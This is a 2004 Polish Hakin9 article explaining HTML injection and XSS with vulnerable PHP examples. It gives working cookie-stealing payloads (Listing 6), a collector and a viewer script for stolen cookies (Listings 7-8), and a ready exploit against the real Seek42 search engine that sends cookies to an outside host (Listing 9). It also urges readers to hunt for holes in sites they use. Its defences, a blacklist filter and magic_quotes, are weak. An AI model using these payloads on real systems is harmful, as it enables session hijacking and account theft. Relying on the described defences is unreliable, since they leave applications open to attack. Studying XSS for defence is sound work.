Artykuł opublikowany w numerze 1/2004 magazynu Hakin9

Podobne dokumenty
Aplikacje internetowe - laboratorium

Zdarzenia Zdarzenia onload i onunload

Aplikacje WWW - laboratorium

6. Bezpieczeństwo przy współpracy z bazami danych

Podstawy JavaScript ćwiczenia

Baza danych do przechowywania użytkowników

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Systemy internetowe. Wykład 3 PHP. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Technologie Internetowe Raport z wykonanego projektu Temat: Internetowy sklep elektroniczny

14. POZOSTAŁE CIEKAWE FUNKCJE

Laboratorium 1 Wprowadzenie do PHP

Bazy Danych i Usługi Sieciowe

Facebook, Nasza klasa i inne. podstawowe informacje o serwisach społeczności internetowych. Cz. 2. Facebook

Jak posługiwać się edytorem treści

Dane - pobieranie, przekazywanie i przechowywanie. dr Beata Kuźmińska-Sołśnia

Internetowe bazy danych

Wysyłanie pliku na serwer. Plik na serwerze.

Wprowadzenie do Internetu Zajęcia 5

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Aplikacje WWW - laboratorium

Pomoc dla systemu WordPress

Zaawansowane aplikacje internetowe

Zajęcia 4 - Wprowadzenie do Javascript

Format HTML. Wybrane działy Informatyki Stosowanej. Definicja i przeznaczenie Struktura dokumentu Znaczniki Formularze i komponenty

Michał Bielecki, KNI 'BIOS'

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

JAVAScript w dokumentach HTML (1) JavaScript jest to interpretowany, zorientowany obiektowo, skryptowy język programowania.

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Systemy internetowe Wykład 3 PHP

e-wsparcie Barbara Muszko Aktualizacja Twojej witryny internetowej tak prosta, jak obsługa Worda

Aplikacje internetowe

Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w

edycja szablonu za pomocą programu NVU

Aplikacje WWW - laboratorium

ZAAWANSOWANE BAZY DANYCH I HURTOWNIE DANYCH MySQL, PHP

MATERIAŁY - udostępnianie materiałów dydaktycznych w sieci SGH

SSK - Techniki Internetowe

Lekcja 10. Uprawnienia. Dołączanie plików przy pomocy funkcji include() Sprawdzanie, czy plik istnieje przy pmocy funkcji file_exists()

INSTRUKCJA OBSŁUGI BIULETYNU INFORMACJI PUBLICZNEJ

Projektowani Systemów Inf.

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Udostępnianie klientom zasobów serwera

Wydział Elektrotechniki, Informatyki i Telekomunikacji Instytut Informatyki i Elektroniki

Prezentacja danych w PANELU INTERNETOWYM

Dokumentacja smsapi wersja 1.4

Referat z przedmiotu Technologie Internetowe SPIS TREŚCI

Laboratorium Wstawianie skryptu na stroną: 2. Komentarze: 3. Deklaracja zmiennych

Proste kody html do szybkiego stosowania.

Projekt strony internetowej firmy organizującej przyjęcia

Dokumentacja Skryptu Mapy ver.1.1

Zaawansowane bazy danych i hurtownie danych studia zaoczne II stopnia, sem. I

Wykład 03 JavaScript. Michał Drabik

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

SIECI KOMPUTEROWE I BAZY DANYCH

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

autor poradnika - KS Jak zamieszczać i edytować artykuły na szkolnej stronie internetowej

LABORATORIUM 2 WSTĘP DO SIECI TELEINFORMATYCZNYCH TABELE I FORMULARZE

Wstawianie ZDJĘCIA na Forum.

Aplikacje WWW - laboratorium

Specyfikacja instalacji usługi SMS Premium w Przelewy24.pl

edistro.pl Spis treści

Zajęcia 11 wykorzystanie MySQL w PHP

Autor: Joanna Karwowska

Instrukcja - blogi OK zeszyt Logowanie

Aplikacje WWW - laboratorium

Na początku utworzymy formularz w czystym języku HTML i przetestujemy go za pomocą przeglądarki WWW.

Ćwiczenie: JavaScript Cookies (3x45 minut)

JAK W NAGŁÓWKU STRONY LUB BLOGA

Okna, ramki i ciasteczka

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Poczta elektroniczna ( ) służy do przesyłania i odbierania listów elektronicznych np.: wiadomości tekstowych, multimedialnych itp.

Umieszczanie kodu. kod skryptu

Instrukcja obsługi portalu MojeHR moduł pracownika

SMS Kod Automatyczny

PORADNIK KORZYSTANIA Z SERWERA FTP ftp.architekturaibiznes.com.pl

INSTRUKCJE WIKAMP Dotyczy wersji systemu z dnia

Issuu publikowanie dokumentów w sieci

Widżety KIWIPortal. tworzenie umieszczanie na stronach internetowych opcje zaawansowane. Autor: Damian Rebuś Data: Wersja: 1.

Po uruchomieniu programu nasza litera zostanie wyświetlona na ekranie

darmowe zdjęcia - allegro.pl

Nowy szablon stron pracowników ZUT

Komunikacja między klientem, a skryptem PHP, oraz operacje na plikach

Bazy danych i strony WWW

Udostępnianie klientom zasobów serwera

Napisy w PHP. Drukowanie napisów instrukcją echo

Obiektowe bazy danych

Formularze HTML. dr Radosław Matusik. radmat

Podstawy technologii WWW

Instrukcja obsługi uczelnianego cmsa

Podręcznik Sprzedającego. Portal aukcyjny

Funkcje i instrukcje języka JavaScript

Przekazywanie danych. Dane zewnętrzne mogą pochodzić z róŝnych źródeł:

Bezpieczeństwo systemów komputerowych

Shell Card Online usługa fakturowania elektronicznego Podręcznik użytkownika

CMS- kontakty (mapa)

Zajęcia 13 wykorzystanie MySQL w PHP cz. 2

Wykład 5: PHP: praca z bazą danych MySQL

Najważniejsze informacje dla klienta na temat Portalu Serwisowego D-Link Spis treści

JAVASCRIPT PODSTAWY. opracowanie: by Arkadiusz Gawełek, Łódź

Transkrypt:

Ataki HTML injection Brandon Petty Artykuł opublikowany w numerze 1/2004 magazynu Hakin9 Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone pod warunkiem zachowania jego obecnej formy i treści. Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, piotr@software.com.pl

Ataki HTML injection Brandon Petty Ataki HTML injection polegają na przesłaniu stronie, która oczekuje od nas danych w postaci czystego tekstu, ciągu zawierającego specjalnie spreparowany kod HTML. Co możemy w ten sposób osiągnąć? Dla początkujących Przyjrzyjmy się stronie, której kod źródłowy przedstawiony jest na Listingach 1 i 2 (http://127.0.0.1/inject/html_ex. html). Wygląda prosto, prawda? W formularzu wybieramy interesujący nas format (MP3, OGG lub WAV) i klikamy OK. Wartość zmiennej music przesyłana jest do strony html_ex.php: <form action='./html_ex.php' method='post'> Ten plik wypisuje nazwę wybranego przez nas formatu: $myurl = $_REQUEST[music]; (...) Twój wybór: echo($myurl); Działanie strony jest tak proste, że aż nie chce się wierzyć, by mogła ona zawierać jakieś luki związane z bezpieczeństwem. A jednak spróbujmy wpisać w przeglądarce adres http://127.0.0.1/inject/html_ex.php? music = <script>aler t ( 'hakin9' )< /script>. Na ekranie pojawia się okienko dialogowe z napisem hakin9. Ciekawe, prawda? Obejrzyjmy źródło strony, która się wyświetliła (Listing 3). Jak widać PHP uwierzył, że ciąg podany przez nas w adresie jest przesłany przez formularz (metodą GET) i wstawił go w wysłany przeglądarce kod HTML. Znacznik <script> nakazuje użycie JavaScriptu, co pozwala nam użyć funkcji alert() w celu wyświetlenia wyskakującego okienka. Bardziej złożony przykład proste forum Bardziej złożony przykład przedstawia Listing 4 i 5 http://127.0.0.1/inject/xss_ex.php. Jest to uproszczona wersja mechanizmu, który znajdziemy na wielu działających w Sieci forach dyskusyjnych. Strona xss_ex.php zawiera formularz, w który wpisujemy nazwę użytkownika i hasło (root i demo). Dane te przesyłane są znowu do pliku xss_ex.php: 2 www.hakin9.org

Ataki HTML injection Jeśli nie działa przykład html_ex.php Jeśli na Twoim komputerze nie działa przykład przedstawiony na Listingach 1 i 2 (wpisanie adresu podanego w artykule nie powoduje wyświetlenia okienka dialogowego), sprawdź, czy w opcjach przeglądarki nie wyłączyłeś JavaScriptu. Jeśli JavaScript jest wyłączony, okno dialogowe nie może zostać wyświetlone. Obejrzyj też źródło strony, która wyświetliła się po wpisaniu podanego w artykule adresu i porównaj ją z przedstawionym na Listingu 3. W szczególności sprawdź, czy linijka: <script>alert( hakin9 )</script> u ciebie nie wygląda tak: <script>alert(\ hakin9 \) </script> Jeśli tak jest prawdopodobnie w pliku konfiguracyjnym PHP (/etc/php.ini w większości dystrybucji Linuksa) masz ustawioną opcję: magic_quotes_gpc=on Opcja ta zabezpiecza przed wieloma rodzajami ataku HTML injection, aby więc wypróbować działanie opisanych w artykule ataków ustaw ją na mniej bezpieczną wartość: magic_quotes_gpc=off Listing 1. Najprostszy przykład strony podatnej na atak HTML injection plik html_ex.html <form action='./html_ex.php' method='post'> <center>[<b>wybierz format</b>]</center><br> <input type="radio" name="music" value="mp3" checked="true">.mp3<br> <input type="radio" name="music" value="ogg">.ogg<br> <input type="radio" name="music" value="wav">.wav<br> <center><input type="submit" value="ok"></center> </form> <form action='./xss_ex.php' method='post'> Po ich odebraniu skrypt wysyła klientowi cookies zawierające nazwę użytkownika i hasło: setcookie("mylogin",$_post['login']); setcookie("mypaswd",$_post['paswd']); Dzięki temu przy kolejnych odwiedzinach nie będzie trzeba podawać tych danych drugi raz. Po wysłaniu cookies skrypt wysyła nagłówek HTTP location, co powoduje otwarcie strony exploit.php: header("location: exploit.php"); Po zalogowaniu się trafiamy na stronę symulującą zamieszczanie na forum obrazka. Na stronie tej znajduje się prosty formularz, w który wpisujemy link do pliku graficznego. Po wciśnięciu przycisku link przesyłany jest do skryptu, który umieszcza go w bazie danych i wyświetla. Listing 2. Ciąg dalszy strony podatnej na atak HTML injection plik html_ex.php /* Upewnij się, że w pliku php.ini ustawione jest * "magic_quotes_gpc = Off" - w przeciwnym razie ten * skrypt nie będzie podatny na atak */ error_reporting (E_ALL ^ E_NOTICE); $myurl = $_REQUEST[music]; <html><head><title>prosty przykład</title> </head> <body bgcolor="white"> <br><br><br> <center><h1>twój wybór: echo($myurl); </h1></center> </body> </html> Spróbujmy przeprowadzić atak HTML injection podobny do poprzedniego. Jako link obrazka wpiszmy: http://127.0.0.1/inject/ image.jpg" ><script>aler t('hakin 9')</script>. Efekt powinien być identyczny jak w poprzednim przypadku. Zajrzyjmy do źródeł wyświetlonej strony, znajdziemy w nich linijkę: <img src=" http://127.0.0.1/inject/ image.jpg"><script>alert('hakin9')< /script>"> Jak to działa? To proste zauważmy, że ciąg ">, który umieściliśmy po nazwie pliku z grafiką, spowodował zamknięcie tagu img. Następujący dalej ciąg <script>alert('hakin9') </script> spowodował tak samo jak w poprzednim przykładzie wyświetlenie okna dialogowego. Przykład zastosowania techniki XSS No tak ale generowanie wyskakujących okienek to trochę zbyt mało, Listing 3. Źródło strony, która wyświetla się po wpisaniu adresu http://127.0.0.1/inject/ html_ex.php?music=<script> alert('hakin9')</script> <html> <head> <title>prosty przykład</title> </head> <body bgcolor="white"> <br><br><br> <center><h1>wybrałeś: <script>alert('hakin9')</script> </h1></center> </body> </html> www.hakin9.org 3

Rysunek 1. Strona z Listingów 1 i 2 działanie zwykłe i wymuszone przez hakera wyświetlenie wyskakującego okienka by mówić o hakerstwie. Spróbujmy zrobić coś bardziej ambitnego. Przede wszystkim aby atak HTML injection odniósł poważny skutek, nasz kod musi być umieszczony na stronie, którą ogląda wiele osób. Jak widzieliśmy w poprzednim przykładzie nie jest to trudne wystarczy wykorzystać dowolne forum. Ważną cechą forum z poprzedniego przykładu jest też fakt, że kiedy internauta loguje się, jego nazwa Listing 4. Dziurawe forum xss_ex.php Dla początkujących if ($_SERVER['REQUEST_METHOD'] == "POST") setcookie("mylogin",$_post['login']); setcookie("mypaswd",$_post['paswd']); header("location: exploit.php"); if ($_COOKIE['mylogin'] $_COOKIE['mypasswd']) echo("<center><b><a href=\"./exploit.php\">już jesteś zalogowany </a></b></center>"); else <br> <form action='./xss_ex.php' method='post'> <table border=0 width=0 heith=0> <caption align="left">html Injection Demo</caption> <tr><td valign="top"> <b>login: </b></td><td><input type=text name="login" value="root" size=50> </input></td></tr><td valign="top"> <b>paswd: </b></td><td><input type=text name="paswd" value="demo" size=50> </input><br></td></tr><td valign="top"> <input type=submit value="enter"> </td></tr> </table> </form>... 4 www.hakin9.org

Ataki HTML injection Konwersja znaków ASCII na symbole szesnastkowe Spójrzmy na dwa poniższe odnośniki: http://127.0.0.1/inject/html_ex.php?music=<script>alert('hakin9') </script> http://127.0.0.1/inject/html_ex.php?music= %3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E Warto wiedzieć, że oba prowadzą w to samo miejsce. To proste znak < nosi w ASCII numer 3C (szesnastkowo), więc zamiast pisać <script możemy napisać %3Cscript. Po co? Są sytuacje, kiedy nie chcemy umieszczać w URL-u nietypowych znaków niektóre aplikacje internetowe czy klienty mogą próbować je usunąć. Wybrane znaki i odpowiadające im kody szesnastkowe przedstawia Tabela 1. użytkownika i hasło są zapamiętane w cookies. Za chwilę przekonamy się, że jest możliwe wykradzenie czyjegoś cookie, co pozwoli nam podszywać się pod innych użytkowników. Listing 5. Dziurawe forum, ciąg dalszy exploit.php Zacznijmy od prostego przykładu. Zamiast odnośnika do obrazka (mówimy cały czas o forum z Listingów 4 i 5) wstawmy w okienko poniższy ciąg: // Uwaga: w celu uproszczenia skryptu nazwa użytkownika i hasło // są na sztywno ustawione w skrypcie (a nie pobierane z bazy). error_reporting (E_ALL ^ E_NOTICE); $myurl = $_REQUEST[url]; // Jeśli PHP nie dodaje ukośników przed cudzysłowami, // dodajmy je. if (get_magic_quotes_gpc()==0) $myurl = addslashes($myurl); if (($_COOKIE['mylogin'] == 'root') && ($_COOKIE['mypaswd'] == 'demo')) if($_server['request_method']!= "POST") <b>html Injection Demo</b> <br> <form action='./exploit.php' method='post'> URL obrazka: <input type='text' name='url' value='http://' length='50'><br> <input type='submit'> </form>...... $SQL_String = "SELECT User.Link FROM User"; $SQL_String.= " Where(User.Login = 'root');"; $rs = mysql_query ($SQL_String) or die ($SQL_String); Tabela 1. Wybrane znaki ASCII i odpowiadające im kody szesnastkowe Znak Kod szesnastkowy! %21 %22 # %23 $ %24 % %25 & %26 %27 ( %28 ) %29 * %2A + %2B, %2C - %2D. %2E / %2F : %3A ; %3B < %3C = %3D > %3E? %3F @ %40 [ %5B \ %5C ] %5D ^ %5E _ %5F ~ %7E http://127.0.0.1/inject/image.jpg"> <script>alert(document.cookie)</script> Spowoduje to wyświetlenie okienka z napisem:... if ($row = mysql_fetch_object ($rs)) echo "<img src=\"$row->link\">\n"; else echo "Błąd!!\n"; mylogin=root; mypasswd=demo Jak widać zmienna document.cookie przechowuje wartość cookies dla strony, na której się znajdujemy. Jednak nam nie chodzi o to, żeby każdy użytkownik zobaczył swoje dane chcemy, żeby te dane zostały prze- www.hakin9.org 5

Listing 6. Przykładowe ciągi, których wpisanie w okienku wyboru obrazka spowoduje wysłanie intruzowi zawartości cookies image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/ cookie.php?cookie='+document.cookie;./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2bdocument.cookie;"> <script language=" słane do nas. Najprostszy sposób na osiągnięcie tego celu to wstawienie linku, który spowoduje otwarcie naszej strony, w zmiennych przesłanych metodą GET przekazując wartość zmiennej document.cookie. Przyjrzyjmy się skryptowi z Listingu 7. Jeśli otworzymy go w ten sposób: http://127.0.0.1/~haking/inject/ cookie.php?cookie=przykladowy _ tekst spowoduje on zapisanie do pliku cookies.txt ciągu przykladowy _tekst. Jeśli w otwieranym adresie zamiast ciągu przykladowy _tekst umieścilibyśmy zawartość cookies zostałyby one przesłane na nasz serwer! Przeanalizujmy działanie linku przedstawionego na Listingu 6 (pierwszy link). Wpisanie go w okienku, w którym podajemy odnośnik do obrazka, spowoduje wysłanie do klienta poniższego kodu: <img src="image.jpg" width="0" height="0" name="hia" onload= "hia.src='http://127.0.0.1/ inject/cookie.php?cookie=' +document.cookie;"> Listing 7. Skrypt zapisujący do pliku ciąg podany w zmiennej przesłanej metodą GET cookie.php error_reporting (E_ALL ^ E_NOTICE); $cookie = $_REQUEST[cookie]; $fic=fopen("cookies.txt", "a"); fwrite($fic, "$cookie\n"); fclose($fic); Dla początkujących Rysunek 2. Schemat działania uproszczonego modelu forum z Listingów 4 i 5 6 www.hakin9.org

Ataki HTML injection Listing 8. Skrypt służący do przeglądania zebranych cookies view_cookie.php echo("przechwytywanie cookies: HTML Injection Demo\n<br>\n"); $fic=fopen("cookies.txt", "r"); while(!feof($fic)) $data = fgets($fic, 1024); echo("<br>$data"); fclose($fic); To proste podany przez nas ciąg został podobnie, jak w poprzednich przykładach wstawiony w miejsce, w które ma trafiać link do obrazka. Spowoduje to, że wyświetlony zostanie obrazek image.jpg o wymiarach 0x0 pikseli (nie będzie więc on widoczny). Po jego załadowaniu (metoda onload) jako obrazek załadowany zostanie URL: http://127.0.0.1/inject/ cookie.php?cookie='+document.cookie; Jak już widzieliśmy, spowoduje to wysłanie na serwer cookies użytkownika które zostaną zapisane na naszym serwerze (tam, gdzie umieszczony jest plik cookie.php), w pliku cookies.txt. Aby usprawnić sobie przeprowadzanie ataku możemy użyć skryptu z Listingu 8. W niektórych sytuacjach konieczne może być użycie ciągu <script language=" tak jak w drugim linku z Listingu 6. Jeśli wysyłam mój złośliwy kod HTML na stronę, na której zostanie on umieszczony w kilku miejscach, mogę napotkać problem. W przykładzie, który przed chwilą omawialiśmy, spowodowałoby to pojawienie się na stronie kilku obrazków o tej samej nazwie hia przez co mogłaby nie zostać wykonana funkcja onload. Dodanie na końcu wpisanego przez nas kodu ciągu <script language=" spowoduje, że reszta strony zostanie potraktowana jako niedokończony skrypt JavaScript. Przykładem zastosowania tej techniki jest kod z Listingu 9. Jest to działający exploit pozwalający przechwytywać cookies użytkowników popularnej wyszukiwarki http:// sourceforge.net/projects/seek42/. Jak się bronić Choć przeprowadzanie ataków HTML injection jest proste, w wielu Rysunek 3. Schemat ataku na forum z Listingów 4 i 5 www.hakin9.org 7

Listing 9. Exploit dla Seek42 http://www.xxxx.net/seek42.php?q=trouble&e="></td></tr></table><br><br><center><b>stone walls do not make a prison nor iron bars a cage</b><br><img src="http://www.jotdot.net/brandito/authentic/tho.jpg"><br> <img src="http://www.jotdot.net/brandito/authentic/tho.jpg" name="hia" onload="hia.src='http://www.jotdot.net/brandito/authentic/secure/cookie.php?cookie='%2bdocument.cookie;" width=0 height=0></center> <script language=" Dla początkujących sytuacjach obrona przed nimi nie jest łatwa. Istnieją dwa sposoby na to, by zabezpieczyć swoją stronę przed hakerem. Pierwszy sposób polega na analizowaniu przychodzących danych (po stronie serwera), zanim zostaną one włączone w kod strony wysłanej klientowi. Odpowiednia funkcja może sprawdzać, czy w danych nie został umieszczony złośliwy kod HTML i albo odmówić ich przyjęcia, albo spróbować wyciąć podejrzane fragmenty. Przykład zastosowania tej metody przedstawiony jest na Listingu 10. Przedstawia on odporną na atak wersję strony z Listingu 2. Jak widać napisaliśmy funkcję is _ clean(). Sprawdza ona, czy podane dane nie zawierają ciągów "> lub <script występują one w większości ataków HTML injections. Jeśli złośliwy ciąg zostanie znaleziony, funkcja zwraca False, w przeciwnym razie True. W ten sposób przed atakami HTML injections broni się wiele forów internetowych. Usuwają one z wypowiedzi uczestników wszystkie znaczniki HTML, pozostawiając jedynie swoje własne tagi, które są następnie przetwarzane w specjalny sposób. Listing 10. Odporna na atak wersja skryptu z Listingu 2 plik html_ex_clean.php error_reporting (E_ALL ^ E_NOTICE); function is_clean ($container) $container = strtolower($container); $container = str_replace(' ', "", $container); // Szukamy ciągów mogących służyć do przeprowadzenia ataku. $string1 = "<script"; $string2 = "\">"; if(!strstr($container,$string1) &&!strstr($container,$string2)) // Ciąg jest bezpieczny. $result = True; else // Ciąg zawiera podejrzane fragmenty. $result = False; return $result; $myurl = $_REQUEST[music]; // Sprawdźmy, czy podany ciąg jest czysty. if(!is_clean($myurl)) $myurl = ", by przeprowadzić atak HTML injection"; <html> <head>prosty przykład</title> </head> <body bgcolor="white"> <br><br><br> <center><h1>wybrałeś echo($myurl); </h1></center> </body> </html> Drugi sposób polega na wykorzystaniu faktu, że PHP ma możliwość automatycznego wstawiania ukośników przed cudzysłowami i apostrofami. Kiedy włączymy tę opcję (przez ustawienie w pliku /etc/php.ini magic _ quotes _ gpc=on), wiele złośliwych skryptów przestanie działać. W naszym przypadku zaobserwujemy, że atak, który przeprowadzaliśmy na stronie z Listingów 1 i 2, przestanie działać, powiedzie się natomiast atak na nasze proste forum. To dlatego, że w danych przesyłanych do bazy danych w zapytaniu SQL przed każdym cudzysłowem powinien być wstawiony ukośnik. Zwróćmy uwagę na fakt, że w skrypcie exploit.php upewniamy się, czy magic _ quotes _ gpc jest włączone, i jeśli nie sami dodajemy ukośniki. W nowszych wersjach PHP opcja magic _ quotes _ gpc domyślnie jest włączona. Są jednak sytuacje, kiedy (jako webmasterzy) będziemy potrzebowali ją wyłączyć na przykład jeśli nasz skrypt przechowuje dane w pliku tekstowym, albo kiedy potrzebujemy porównywać ciągi zawierające cudzysłowy. Podsumowanie W Sieci można znaleźć wiele stron wrażliwych na jakiś rodzaj ataku HTML injection. Po przeczytaniu tego artykułu możecie spróbowac poszukać ich sami niewykluczone, że znajdziecie dziurę w stronie, którą odwiedzacie codziennie. Przykładem może być exploit z Listingu 9 pozwala on na zaatakowanie dość popularnej wyszukiwarki http:// sourceforge.net/projects/seek42/. Znalezienie tej dziury zajęło mi mniej niż 30 minut, podczas przerwy w pisaniu artykułu. 8 www.hakin9.org